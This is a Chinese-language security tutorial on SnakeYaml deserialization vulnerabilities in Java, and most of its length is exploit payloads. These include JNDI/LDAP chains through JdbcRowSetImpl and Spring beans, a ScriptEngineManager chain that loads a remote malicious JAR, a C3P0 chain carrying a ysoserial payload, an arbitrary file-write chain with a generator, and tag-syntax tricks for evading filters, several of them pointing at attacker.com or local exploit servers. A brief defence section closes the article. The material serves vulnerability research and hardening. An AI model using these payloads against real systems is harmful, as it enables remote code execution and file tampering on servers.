SnakeYaml反序列化原理分析和利用总结
字数 1142 2025-08-22 12:22:37
SnakeYaml反序列化漏洞分析与利用指南
1. 前言
本文详细分析SnakeYaml反序列化漏洞的原理和多种利用方式,涵盖基础知识、漏洞原理、多种利用链及绕过技巧。
2. SnakeYaml基础
2.1 依赖引入
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
2.2 核心方法
Yaml.load(): 反序列化YAML字符串为Java对象Yaml.dump(): 将Java对象序列化为YAML格式
2.3 反序列化过程分析
反序列化过程中会调用:
- 目标类的构造方法
- 目标类的setter方法
示例代码:
public class Test1 {
public static void main(String[] args) {
Deserialize();
}
public static void Deserialize() {
String s = "!!User {age: 18, name: ljl}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}
3. 漏洞原理
SnakeYaml反序列化漏洞的核心在于:
- 可以指定任意类进行反序列化
- 反序列化过程中会调用类的构造方法和setter方法
- 如果这些方法中存在危险操作,可导致RCE或其他恶意行为
4. 利用链分析
4.1 JdbcRowSetImpl出网利用
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://attacker.com/evil, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
4.2 ScriptEngineManager链(SPI机制)
原理:
利用SPI(Service Provider Interface)机制,通过远程加载恶意JAR文件实现RCE。
POC:
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
实现步骤:
- 准备恶意JAR文件,包含
META-INF/services/javax.script.ScriptEngineFactory文件 - 文件中指定恶意类名
- 恶意类中实现
ScriptEngineFactory接口并在静态代码块/构造方法中执行恶意代码
4.3 C3P0不出网利用
利用链:
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString
→ VetoableChangeSupport.fireVetoableChange
→ WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange
→ C3P0ImplUtils.parseUserOverridesAsString
→ SerializableUtils.fromByteArray
→ SerializableUtils.deserializeFromByteArray
→ readObject
POC生成步骤:
- 使用ysoserial生成序列化payload
- 将payload转换为Hex字符串
- 构造YAML payload
String HexString = "aced00057372..."; // 生成的Hex字符串
String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
yaml.load(str);
4.4 文件写入利用
原理:
利用MarshalOutputStream、InflaterOutputStream和FileOutputStream实现任意文件写入。
POC生成:
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"Destpath\"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]";
生成工具:
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String[] args) throws Exception {
String poc = createPoC("evil.jar", "./yaml.jar");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath, String Destpath) throws Exception {
// 读取文件内容并压缩、Base64编码
// 返回构造好的POC字符串
}
public static byte[] compress(byte[] data) {
// 使用Deflater压缩数据
}
}
4.5 Spring相关利用链
4.5.1 PropertyPathFactoryBean
依赖要求:
- snakeyaml
- spring-beans
- spring-context
- spring-core
POC:
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
" propertyPath: mi1k7ea\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Exploit\"]";
yaml.load(poc);
4.5.2 DefaultBeanFactoryPointcutAdvisor
POC:
String poc = "!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor\n" +
"adviceBeanName: \"ldap://localhost:1389/Exploit\"\n" +
"beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
"shareableResources: [\"ldap://localhost:1389/Exploit\"]";
yaml.load(poc);
5. 绕过技巧
5.1 替代!!的表示方式
- 使用
!<tag>格式:
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
[!<tag:yaml.org,2002:java.net.URLClassLoader>
[[!<tag:yaml.org,2002:java.net.URL> ["http://attacker.com/"]]]]
- 使用%TAG声明:
%TAG ! tag:yaml.org,2002:
--- !javax.script.ScriptEngineManager
[!java.net.URLClassLoader
[[!java.net.URL ["http://attacker.com/"]]]]
6. 防御建议
- 使用安全配置:
Yaml yaml = new Yaml(new SafeConstructor());
- 升级到最新版本
- 对反序列化的YAML内容进行严格过滤
- 限制反序列化的类范围
7. 参考链接
- https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml反序列化漏洞/
- https://xz.aliyun.com/t/11599